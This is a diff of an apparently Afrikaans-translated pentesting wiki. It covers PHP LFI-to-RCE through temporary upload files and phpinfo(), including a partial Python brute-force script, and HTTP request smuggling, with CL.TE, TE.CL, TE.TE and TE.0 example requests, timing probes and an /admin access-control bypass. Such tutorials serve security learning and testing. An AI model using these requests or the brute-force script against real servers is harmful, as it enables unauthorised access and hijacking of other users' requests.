**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
|
|
|
@ -15,9 +15,9 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, exploitable kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
@ -38,19 +38,19 @@ You moet ook die **payload** aan die begin van die exploit verander (vir 'n php-
|
||||||
|
|
||||||
### Teorie
|
### Teorie
|
||||||
|
|
||||||
As opgelaai word in PHP en jy probeer om 'n lêer op te laai, word hierdie lêers in 'n tydelike gids gestoor totdat die bediener klaar is met die verwerking van die versoek, dan word hierdie tydelike lêers verwyder.
|
As opgelaai word in PHP toegelaat en jy probeer om 'n lêer op te laai, word hierdie lêers in 'n tydelike gids gestoor totdat die bediener klaar is met die verwerking van die versoek, dan word hierdie tydelike lêers verwyder.
|
||||||
|
|
||||||
As jy 'n LFI kwesbaarheid in die webbediener gevind het, kan jy probeer om die naam van die tydelike lêer wat geskep is te raai en 'n RCE te exploiteer deur toegang tot die tydelike lêer te verkry voordat dit verwyder word.
|
As jy 'n LFI kwesbaarheid in die webbediener gevind het, kan jy probeer om die naam van die tydelike lêer wat geskep is te raai en 'n RCE te exploiteer deur toegang tot die tydelike lêer te verkry voordat dit verwyder word.
|
||||||
|
|
||||||
In **Windows** word die lêers gewoonlik gestoor in **C:\Windows\temp\php**
|
In **Windows** word die lêers gewoonlik gestoor in **C:\Windows\temp\php**
|
||||||
|
|
||||||
In **linux** was die naam van die lêer gewoonlik **random** en geleë in **/tmp**. Aangesien die naam random is, is dit nodig om **van êrens die naam van die tydelike lêer te onttrek** en toegang te verkry voordat dit verwyder word. Dit kan gedoen word deur die waarde van die **variabele $\_FILES** binne die inhoud van die funksie "**phpconfig()**" te lees.
|
In **linux** was die naam van die lêer gewoonlik **random** en geleë in **/tmp**. Aangesien die naam random is, is dit nodig om **van êrens die naam van die tydelike lêer te onttrek** en toegang daartoe te verkry voordat dit verwyder word. Dit kan gedoen word deur die waarde van die **variabele $\_FILES** binne die inhoud van die funksie "**phpconfig()**" te lees.
|
||||||
|
|
||||||
**phpinfo()**
|
**phpinfo()**
|
||||||
|
|
||||||
**PHP** gebruik 'n buffer van **4096B** en wanneer dit **vol** is, word dit **na die kliënt gestuur**. Dan kan die kliënt **'n groot aantal groot versoeke stuur** (met groot koppe) **wat 'n php** omgekeerde **shell** oplaai, wag vir die **eerste deel van die phpinfo() om teruggestuur te word** (waar die naam van die tydelike lêer is) en probeer om **toegang tot die tydelike lêer** te verkry voordat die php bediener die lêer verwyder deur 'n LFI kwesbaarheid te exploiteer.
|
**PHP** gebruik 'n buffer van **4096B** en wanneer dit **vol** is, word dit **na die kliënt gestuur**. Dan kan die kliënt **'n groot aantal groot versoeke stuur** (met groot koptekste) **wat 'n php** omgekeerde **shell** oplaai, wag vir die **eerste deel van die phpinfo() om teruggestuur te word** (waar die naam van die tydelike lêer is) en probeer om **toegang tot die tydelike lêer** te verkry voordat die php bediener die lêer verwyder deur 'n LFI kwesbaarheid te exploiteer.
|
||||||
|
|
||||||
**Python-skrip om te probeer om die naam te bruteforce (as lengte = 6)**
|
**Python skrip om te probeer om die naam te bruteforce (as lengte = 6)**
|
||||||
```python
|
```python
|
||||||
import itertools
|
import itertools
|
||||||
import requests
|
import requests
|
||||||
|
@ -74,9 +74,9 @@ print('[x] Something went wrong, please try again')
|
||||||
```
|
```
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk en wolk
|
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, sekuriteitskwessies te vind wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, sekuriteitskwessies te vind wat jou toelaat om voorregte te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
|
|
@ -17,7 +17,7 @@ Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
|
@ -25,7 +25,7 @@ Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-
|
||||||
|
|
||||||
## Wat is
|
## Wat is
|
||||||
|
|
||||||
Hierdie kwesbaarheid ontstaan wanneer 'n **desynkronisasie** tussen **front-end proxies** en die **back-end** bediener 'n **aanvaller** toelaat om 'n HTTP **versoek** te **stuur** wat as 'n **enkele versoek** deur die **front-end** proxies (laaibalansering/omgekeerde proxy) en **as 2 versoeke** deur die **back-end** bediener **geïntpreteer** sal word.\
|
Hierdie kwesbaarheid ontstaan wanneer 'n **desynkronisasie** tussen **front-end proxies** en die **back-end** bediener 'n **aanvaller** toelaat om 'n HTTP **versoek** te **stuur** wat as 'n **enkele versoek** deur die **front-end** proxies (laaibalanseer / omgekeerde proxy) en **as 2 versoeke** deur die **back-end** bediener **geïntpreteer** sal word.\
|
||||||
Dit laat 'n gebruiker toe om die **volgende versoek wat na die back-end bediener kom na syne** te **wysig**.
|
Dit laat 'n gebruiker toe om die **volgende versoek wat na die back-end bediener kom na syne** te **wysig**.
|
||||||
|
|
||||||
### Teorie
|
### Teorie
|
||||||
|
@ -43,17 +43,17 @@ Dit laat 'n gebruiker toe om die **volgende versoek wat na die back-end bediener
|
||||||
> Die Transfer-Encoding kopveld spesifiseer die vorm van kodering wat gebruik word om die payload liggaam veilig na die gebruiker oor te dra.\
|
> Die Transfer-Encoding kopveld spesifiseer die vorm van kodering wat gebruik word om die payload liggaam veilig na die gebruiker oor te dra.\
|
||||||
> Chunked beteken dat groot data in 'n reeks stukke gestuur word.
|
> Chunked beteken dat groot data in 'n reeks stukke gestuur word.
|
||||||
|
|
||||||
### Werklikheid
|
### Realiteit
|
||||||
|
|
||||||
Die **Front-End** (n laaibalansering / Omgekeerde Proxy) **verwerk** die _**content-length**_ of die _**transfer-encoding**_ kopveld en die **Back-end** bediener **verwerk die ander** een wat 'n **desynkronisasie** tussen die 2 stelsels veroorsaak.\
|
Die **Front-End** (n laaibalanseer / Omgekeerde Proxy) **verwerk** die _**content-length**_ of die _**transfer-encoding**_ kopveld en die **Back-end** bediener **verwerk die ander** een wat 'n **desynkronisasie** tussen die 2 stelsels veroorsaak.\
|
||||||
Dit kan baie krities wees aangesien **'n aanvaller in staat sal wees om een versoek** na die omgekeerde proxy te stuur wat deur die **back-end** bediener **as 2 verskillende versoeke** **geïntpreteer** sal word. Die **gevaar** van hierdie tegniek lê in die feit dat die **back-end** bediener die **2de versoek wat ingesluit is** sal **interpreteer** asof dit **van die volgende kliënt** **gekom het** en die **werklike versoek** van daardie kliënt sal **deel** wees van die **ingeslote versoek**.
|
Dit kan baie krities wees aangesien **'n aanvaller in staat sal wees om een versoek** na die omgekeerde proxy te stuur wat deur die **back-end** bediener **as 2 verskillende versoeke** **geïntpreteer** sal word. Die **gevaar** van hierdie tegniek lê in die feit dat die **back-end** bediener die **2de versoek wat ingespuit is** sal **interpreteer** asof dit **van die volgende kliënt** gekom het en die **werklike versoek** van daardie kliënt sal **deel** wees van die **ingespuite versoek**.
|
||||||
|
|
||||||
### Besonderhede
|
### Besonderhede
|
||||||
|
|
||||||
Onthou dat in HTTP **'n nuwe lyn karakter bestaan uit 2 bytes:**
|
Onthou dat in HTTP **'n nuwe lyn karakter bestaan uit 2 bytes:**
|
||||||
|
|
||||||
* **Content-Length**: Hierdie kopveld gebruik 'n **desimale getal** om die **aantal** **bytes** van die **liggaam** van die versoek aan te dui. Die liggaam word verwag om in die laaste karakter te eindig, **'n nuwe lyn is nie nodig aan die einde van die versoek**.
|
* **Content-Length**: Hierdie kopveld gebruik 'n **desimale getal** om die **aantal** van **bytes** van die **liggaam** van die versoek aan te dui. Die liggaam word verwag om in die laaste karakter te eindig, **'n nuwe lyn is nie nodig aan die einde van die versoek**.
|
||||||
* **Transfer-Encoding:** Hierdie kopveld gebruik in die **liggaam** 'n **heksadesimale getal** om die **aantal** **bytes** van die **volgende stuk** aan te dui. Die **stuk** moet **eindig** met 'n **nuwe lyn** maar hierdie nuwe lyn **word nie getel** deur die lengte-indikator nie. Hierdie oordragmetode moet eindig met 'n **stuk van grootte 0 gevolg deur 2 nuwe lyne**: `0`
|
* **Transfer-Encoding:** Hierdie kopveld gebruik in die **liggaam** 'n **heksadesimale getal** om die **aantal** van **bytes** van die **volgende stuk** aan te dui. Die **stuk** moet **eindig** met 'n **nuwe lyn** maar hierdie nuwe lyn **word nie getel** deur die lengte-indikator nie. Hierdie oordragmetode moet eindig met 'n **stuk van grootte 0 gevolg deur 2 nuwe lyne**: `0`
|
||||||
* **Connection**: Gebaseer op my ervaring word dit aanbeveel om **`Connection: keep-alive`** op die eerste versoek van die versoek Smuggling te gebruik.
|
* **Connection**: Gebaseer op my ervaring word dit aanbeveel om **`Connection: keep-alive`** op die eerste versoek van die versoek Smuggling te gebruik.
|
||||||
|
|
||||||
## Basiese Voorbeelde
|
## Basiese Voorbeelde
|
||||||
|
@ -62,14 +62,14 @@ Onthou dat in HTTP **'n nuwe lyn karakter bestaan uit 2 bytes:**
|
||||||
Wanneer jy probeer om dit met Burp Suite te exploiteer **deaktiveer `Update Content-Length` en `Normalize HTTP/1 line endings`** in die herhaler omdat sommige gadgets nuwe lyne, karakters en verkeerd gevormde content-lengths misbruik.
|
Wanneer jy probeer om dit met Burp Suite te exploiteer **deaktiveer `Update Content-Length` en `Normalize HTTP/1 line endings`** in die herhaler omdat sommige gadgets nuwe lyne, karakters en verkeerd gevormde content-lengths misbruik.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
HTTP versoek smuggling aanvalle word geskep deur ambigue versoeke te stuur wat verskille in hoe front-end en back-end bedieners die `Content-Length` (CL) en `Transfer-Encoding` (TE) kopvelde interpreteer, exploiteer. Hierdie aanvalle kan in verskillende vorme manifesteer, hoofsaaklik as **CL.TE**, **TE.CL**, en **TE.TE**. Elke tipe verteenwoordig 'n unieke kombinasie van hoe die front-end en back-end bedieners hierdie kopvelde prioriteer. Die kwesbaarhede ontstaan uit die bedieners wat dieselfde versoek op verskillende maniere verwerk, wat lei tot onverwagte en potensieel kwaadwillige uitkomste.
|
HTTP versoek smuggling aanvalle word geskep deur ambigue versoeke te stuur wat verskille in hoe front-end en back-end bedieners die `Content-Length` (CL) en `Transfer-Encoding` (TE) kopvelde interpreteer, te exploiteer. Hierdie aanvalle kan in verskillende vorme manifesteer, hoofsaaklik as **CL.TE**, **TE.CL**, en **TE.TE**. Elke tipe verteenwoordig 'n unieke kombinasie van hoe die front-end en back-end bedieners hierdie kopvelde prioriteit gee. Die kwesbaarhede ontstaan uit die bedieners wat dieselfde versoek op verskillende maniere verwerk, wat lei tot onverwagte en potensieel kwaadwillige uitkomste.
|
||||||
|
|
||||||
### Basiese Voorbeelde van Kwesbaarheidstipes
|
### Basiese Voorbeelde van Kwesbaarheidstipes
|
||||||
|
|
||||||
![https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../.gitbook/assets/EKi5edAUUAAIPIK.jpg)
|
![https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../.gitbook/assets/EKi5edAUUAAIPIK.jpg)
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
By die vorige tabel moet jy die TE.0 tegniek voeg, soos CL.0 tegniek maar met Transfer Encoding.
|
By die vorige tabel moet jy die TE.0 tegniek byvoeg, soos die CL.0 tegniek maar met Transfer Encoding.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
#### CL.TE Kwesbaarheid (Content-Length gebruik deur Front-End, Transfer-Encoding gebruik deur Back-End)
|
#### CL.TE Kwesbaarheid (Content-Length gebruik deur Front-End, Transfer-Encoding gebruik deur Back-End)
|
||||||
|
@ -101,7 +101,7 @@ Foo: x
|
||||||
* **Back-End (CL):** Verwerk die versoek gebaseer op die `Content-Length` kopveld.
|
* **Back-End (CL):** Verwerk die versoek gebaseer op die `Content-Length` kopveld.
|
||||||
* **Aanval Scenario:**
|
* **Aanval Scenario:**
|
||||||
* Die aanvaller stuur 'n chunked versoek waar die stuk grootte (`7b`) en werklike inhoud lengte (`Content-Length: 4`) nie ooreenstem nie.
|
* Die aanvaller stuur 'n chunked versoek waar die stuk grootte (`7b`) en werklike inhoud lengte (`Content-Length: 4`) nie ooreenstem nie.
|
||||||
* Die front-end bediener, wat `Transfer-Encoding` eer, stuur die hele versoek na die back-end.
|
* Die front-end bediener, wat `Transfer-Encoding` respekteer, stuur die hele versoek na die back-end.
|
||||||
* Die back-end bediener, wat `Content-Length` respekteer, verwerk slegs die aanvanklike deel van die versoek (`7b` bytes), wat die res as deel van 'n onbedoelde daaropvolgende versoek laat.
|
* Die back-end bediener, wat `Content-Length` respekteer, verwerk slegs die aanvanklike deel van die versoek (`7b` bytes), wat die res as deel van 'n onbedoelde daaropvolgende versoek laat.
|
||||||
* **Voorbeeld:**
|
* **Voorbeeld:**
|
||||||
|
|
||||||
|
@ -123,12 +123,12 @@ x=
|
||||||
|
|
||||||
```
|
```
|
||||||
|
|
||||||
#### TE.TE Kwesbaarheid (Transfer-Encoding gebruik deur beide, met obfuskaasie)
|
#### TE.TE Kwesbaarheid (Transfer-Encoding gebruik deur albei, met obfuskering)
|
||||||
|
|
||||||
* **Bedieners:** Beide ondersteun `Transfer-Encoding`, maar een kan mislei word om dit te ignoreer via obfuskaasie.
|
* **Bedieners:** Albei ondersteun `Transfer-Encoding`, maar een kan mislei word om dit te ignoreer via obfuskering.
|
||||||
* **Aanval Scenario:**
|
* **Aanval Scenario:**
|
||||||
* Die aanvaller stuur 'n versoek met obfuscated `Transfer-Encoding` kopvelde.
|
* Die aanvaller stuur 'n versoek met obfuscated `Transfer-Encoding` kopvelde.
|
||||||
* Afhangende van watter bediener (front-end of back-end) nie die obfuskaasie herken nie, kan 'n CL.TE of TE.CL kwesbaarheid geëxploiteer word.
|
* Afhangende van watter bediener (front-end of back-end) nie die obfuskering herken nie, kan 'n CL.TE of TE.CL kwesbaarheid geëxploiteer word.
|
||||||
* Die onverwerkte deel van die versoek, soos gesien deur een van die bedieners, word deel van 'n daaropvolgende versoek, wat lei tot smuggling.
|
* Die onverwerkte deel van die versoek, soos gesien deur een van die bedieners, word deel van 'n daaropvolgende versoek, wat lei tot smuggling.
|
||||||
* **Voorbeeld:**
|
* **Voorbeeld:**
|
||||||
|
|
||||||
|
@ -167,7 +167,7 @@ Normale Versoek
|
||||||
#### **CL.0 Scenario**
|
#### **CL.0 Scenario**
|
||||||
|
|
||||||
* Verwys na scenario's waar die `Content-Length` kopveld teenwoordig is en 'n waarde anders as nul het, wat aandui dat die versoek liggaam inhoud het. Die back-end ignoreer die `Content-Length` kopveld (wat as 0 behandel word), maar die front-end parse dit.
|
* Verwys na scenario's waar die `Content-Length` kopveld teenwoordig is en 'n waarde anders as nul het, wat aandui dat die versoek liggaam inhoud het. Die back-end ignoreer die `Content-Length` kopveld (wat as 0 behandel word), maar die front-end parse dit.
|
||||||
* Dit is van kardinale belang in die begrip en vorming van smuggling aanvalle, aangesien dit beïnvloed hoe bedieners die einde van 'n versoek bepaal.
|
* Dit is van kardinale belang om smuggling aanvalle te verstaan en te skep, aangesien dit beïnvloed hoe bedieners die einde van 'n versoek bepaal.
|
||||||
* **Voorbeeld:**
|
* **Voorbeeld:**
|
||||||
|
|
||||||
```
|
```
|
||||||
|
@ -176,13 +176,13 @@ Host: vulnerable-website.com
|
||||||
Content-Length: 16
|
Content-Length: 16
|
||||||
Connection: keep-alive
|
Connection: keep-alive
|
||||||
|
|
||||||
Nie-Empty Liggaam
|
Nie-lege Liggaam
|
||||||
```
|
```
|
||||||
|
|
||||||
#### TE.0 Scenario
|
#### TE.0 Scenario
|
||||||
|
|
||||||
* Soos die vorige een maar met TE
|
* Soos die vorige een maar met TE
|
||||||
* Tegniek [hier gerapporteer](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
|
* Tegniek [gerapporteer hier](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
|
||||||
* **Voorbeeld**:
|
* **Voorbeeld**:
|
||||||
```
|
```
|
||||||
OPTIONS / HTTP/1.1
|
OPTIONS / HTTP/1.1
|
||||||
|
@ -241,11 +241,11 @@ A
|
||||||
0
|
0
|
||||||
```
|
```
|
||||||
* **Waarneming:**
|
* **Waarneming:**
|
||||||
* Die voorste bediener verwerk die versoek gebaseer op `Content-Length` en sny die boodskap voortydig af.
|
* Die voorpuntbediener verwerk die versoek gebaseer op `Content-Length` en sny die boodskap voortydig af.
|
||||||
* Die agtergrondbediener, wat 'n chunked boodskap verwag, wag vir die volgende chunk wat nooit aankom nie, wat 'n vertraging veroorsaak.
|
* Die agtergrondbediener, wat 'n chunked boodskap verwag, wag vir die volgende chunk wat nooit aankom nie, wat 'n vertraging veroorsaak.
|
||||||
* **Aanwysers:**
|
* **Aanduiders:**
|
||||||
* Timeouts of lang vertraging in reaksie.
|
* Timeouts of lang vertraging in reaksie.
|
||||||
* Ontvang 'n 400 Bad Request fout van die agtergrondbediener, soms met gedetailleerde bediener-inligting.
|
* Ontvang 'n 400 Bad Request fout van die agtergrondbediener, soms met gedetailleerde bedienerinligting.
|
||||||
|
|
||||||
### Vind TE.CL Kwesbaarhede Met Tydtegnieke
|
### Vind TE.CL Kwesbaarhede Met Tydtegnieke
|
||||||
|
|
||||||
|
@ -264,7 +264,7 @@ Content-Length: 6
|
||||||
X
|
X
|
||||||
```
|
```
|
||||||
* **Waarneming:**
|
* **Waarneming:**
|
||||||
* Die voorste bediener verwerk die versoek gebaseer op `Transfer-Encoding` en stuur die hele boodskap voort.
|
* Die voorpuntbediener verwerk die versoek gebaseer op `Transfer-Encoding` en stuur die hele boodskap voort.
|
||||||
* Die agtergrondbediener, wat 'n boodskap gebaseer op `Content-Length` verwag, wag vir addisionele data wat nooit aankom nie, wat 'n vertraging veroorsaak.
|
* Die agtergrondbediener, wat 'n boodskap gebaseer op `Content-Length` verwag, wag vir addisionele data wat nooit aankom nie, wat 'n vertraging veroorsaak.
|
||||||
|
|
||||||
### Ander Metodes om Kwesbaarhede te Vind
|
### Ander Metodes om Kwesbaarhede te Vind
|
||||||
|
@ -276,11 +276,11 @@ X
|
||||||
* **Content-Length Variansie Toetse:**
|
* **Content-Length Variansie Toetse:**
|
||||||
* Stuur versoeke met verskillende `Content-Length` waardes wat nie ooreenstem met die werklike inhoudslengte nie en kyk hoe die bediener sulke wanbalanse hanteer.
|
* Stuur versoeke met verskillende `Content-Length` waardes wat nie ooreenstem met die werklike inhoudslengte nie en kyk hoe die bediener sulke wanbalanse hanteer.
|
||||||
* **Transfer-Encoding Variansie Toetse:**
|
* **Transfer-Encoding Variansie Toetse:**
|
||||||
* Stuur versoeke met obfuskeer of misvormde `Transfer-Encoding` headers en monitor hoe verskillend die voorste en agtergrondbedieners op sulke manipulasies reageer.
|
* Stuur versoeke met obfuskeer of misvormde `Transfer-Encoding` headers en monitor hoe verskillend die voorpunt- en agtergrondbedieners op sulke manipulasies reageer.
|
||||||
|
|
||||||
### HTTP Request Smuggling Kwesbaarheidstoetsing
|
### HTTP Request Smuggling Kwesbaarheidstoetsing
|
||||||
|
|
||||||
Nadat die doeltreffendheid van tydtegnieke bevestig is, is dit noodsaaklik om te verifieer of kliënt versoeke gemanipuleer kan word. 'n Eenvoudige metode is om te probeer om jou versoeke te vergiftig, byvoorbeeld, om 'n versoek na `/` te maak wat 'n 404 reaksie oplewer. Die `CL.TE` en `TE.CL` voorbeelde wat voorheen bespreek is in [Basiese Voorbeelde](./#basic-examples) demonstreer hoe om 'n kliënt se versoek te vergiftig om 'n 404 reaksie uit te lok, ten spyte daarvan dat die kliënt poog om toegang tot 'n ander hulpbron te verkry.
|
Nadat die doeltreffendheid van tydtegnieke bevestig is, is dit noodsaaklik om te verifieer of kliëntversoeke gemanipuleer kan word. 'n Eenvoudige metode is om te probeer om jou versoeke te vergiftig, byvoorbeeld, om 'n versoek na `/` te maak wat 'n 404 reaksie oplewer. Die `CL.TE` en `TE.CL` voorbeelde wat voorheen bespreek is in [Basiese Voorbeelde](./#basic-examples) demonstreer hoe om 'n kliënt se versoek te vergiftig om 'n 404 reaksie uit te lok, ten spyte daarvan dat die kliënt poog om toegang tot 'n ander hulpbron te verkry.
|
||||||
|
|
||||||
**Belangrike Oorwegings**
|
**Belangrike Oorwegings**
|
||||||
|
|
||||||
|
@ -288,17 +288,17 @@ Wanneer jy toets vir request smuggling kwesbaarhede deur ander versoeke te beïn
|
||||||
|
|
||||||
* **Verskillende Netwerkverbindinge:** Die "aanval" en "normale" versoeke moet oor verskillende netwerkverbindinge gestuur word. Die gebruik van dieselfde verbinding vir albei valideer nie die kwesbaarheid se teenwoordigheid nie.
|
* **Verskillende Netwerkverbindinge:** Die "aanval" en "normale" versoeke moet oor verskillende netwerkverbindinge gestuur word. Die gebruik van dieselfde verbinding vir albei valideer nie die kwesbaarheid se teenwoordigheid nie.
|
||||||
* **Konstante URL en Parameters:** Probeer om identiese URL's en parametername vir albei versoeke te gebruik. Moderne toepassings lei dikwels versoeke na spesifieke agtergrondbedieners gebaseer op URL en parameters. Ooreenstemming hiervan verhoog die waarskynlikheid dat albei versoeke deur dieselfde bediener verwerk word, 'n voorvereiste vir 'n suksesvolle aanval.
|
* **Konstante URL en Parameters:** Probeer om identiese URL's en parametername vir albei versoeke te gebruik. Moderne toepassings lei dikwels versoeke na spesifieke agtergrondbedieners gebaseer op URL en parameters. Ooreenstemming hiervan verhoog die waarskynlikheid dat albei versoeke deur dieselfde bediener verwerk word, 'n voorvereiste vir 'n suksesvolle aanval.
|
||||||
* **Tyd en Wedrenstoestande:** Die "normale" versoek, wat bedoel is om interferensie van die "aanval" versoek te ontdek, kompeteer teen ander gelyktydige toepassingsversoeke. Stuur dus die "normale" versoek onmiddellik na die "aanval" versoek. Besige toepassings mag verskeie pogings vereis vir beslissende kwesbaarheid bevestiging.
|
* **Tyd en Wedrenstoestande:** Die "normale" versoek, wat bedoel is om interferensie van die "aanval" versoek te ontdek, kompeteer teen ander gelyktydige toepassingsversoeke. Stuur dus die "normale" versoek onmiddellik na die "aanval" versoek. Besige toepassings mag verskeie pogings vereis vir beslissende kwesbaarheidbevestiging.
|
||||||
* **Laai Balansuitdagings:** Voorste bedieners wat as laai-balansers optree, mag versoeke oor verskillende agtergrondstelsels versprei. As die "aanval" en "normale" versoeke op verskillende stelsels eindig, sal die aanval nie slaag nie. Hierdie laai balanseer aspek mag verskeie pogings vereis om 'n kwesbaarheid te bevestig.
|
* **Laai Balansuitdagings:** Voorpuntbedieners wat as laai-balansers optree, mag versoeke oor verskillende agtergrondstelsels versprei. As die "aanval" en "normale" versoeke op verskillende stelsels eindig, sal die aanval nie slaag nie. Hierdie laai-balansaspek mag verskeie pogings vereis om 'n kwesbaarheid te bevestig.
|
||||||
* **Onbedoelde Gebruikerimpak:** As jou aanval per ongeluk 'n ander gebruiker se versoek beïnvloed (nie die "normale" versoek wat jy gestuur het vir opsporing nie), dui dit aan dat jou aanval 'n ander toepassingsgebruiker beïnvloed het. Voortdurende toetsing kan ander gebruikers ontwrig, wat 'n versigtige benadering vereis.
|
* **Onbedoelde Gebruikerimpak:** As jou aanval per ongeluk 'n ander gebruiker se versoek beïnvloed (nie die "normale" versoek wat jy gestuur het vir opsporing nie), dui dit aan dat jou aanval 'n ander toepassingsgebruiker beïnvloed het. Voortdurende toetsing kan ander gebruikers ontwrig, wat 'n versigtige benadering vereis.
|
||||||
|
|
||||||
## Misbruik van HTTP Request Smuggling
|
## Misbruik van HTTP Request Smuggling
|
||||||
|
|
||||||
### Om voorste sekuriteit te omseil via HTTP Request Smuggling
|
### Om voorpuntsekuriteit te omseil via HTTP Request Smuggling
|
||||||
|
|
||||||
Soms handhaaf voorste proxies sekuriteitsmaatreëls, wat inkomende versoeke ondersoek. Hierdie maatreëls kan egter omseil word deur HTTP Request Smuggling te benut, wat ongeoorloofde toegang tot beperkte eindpunte moontlik maak. Byvoorbeeld, toegang tot `/admin` mag ekstern verbied wees, met die voorste proxy wat aktief sulke pogings blokkeer. Nietemin mag hierdie proxy versuim om ingebedde versoeke binne 'n gesmokkelde HTTP versoek te ondersoek, wat 'n leemte laat om hierdie beperkings te omseil.
|
Soms handhaaf voorpuntproxies sekuriteitsmaatreëls, wat inkomende versoeke ondersoek. Hierdie maatreëls kan egter omseil word deur HTTP Request Smuggling te benut, wat ongeoorloofde toegang tot beperkte eindpunte moontlik maak. Byvoorbeeld, toegang tot `/admin` mag ekstern verbied wees, met die voorpuntproxy wat aktief sulke pogings blokkeer. Nietemin mag hierdie proxy versuim om ingebedde versoeke binne 'n gesmokkelde HTTP versoek te ondersoek, wat 'n leemte laat om hierdie beperkings te omseil.
|
||||||
|
|
||||||
Oorweeg die volgende voorbeelde wat illustreer hoe HTTP Request Smuggling gebruik kan word om voorste sekuriteitsbeheermaatreëls te omseil, spesifiek gerig op die `/admin` pad wat tipies deur die voorste proxy beskerm word:
|
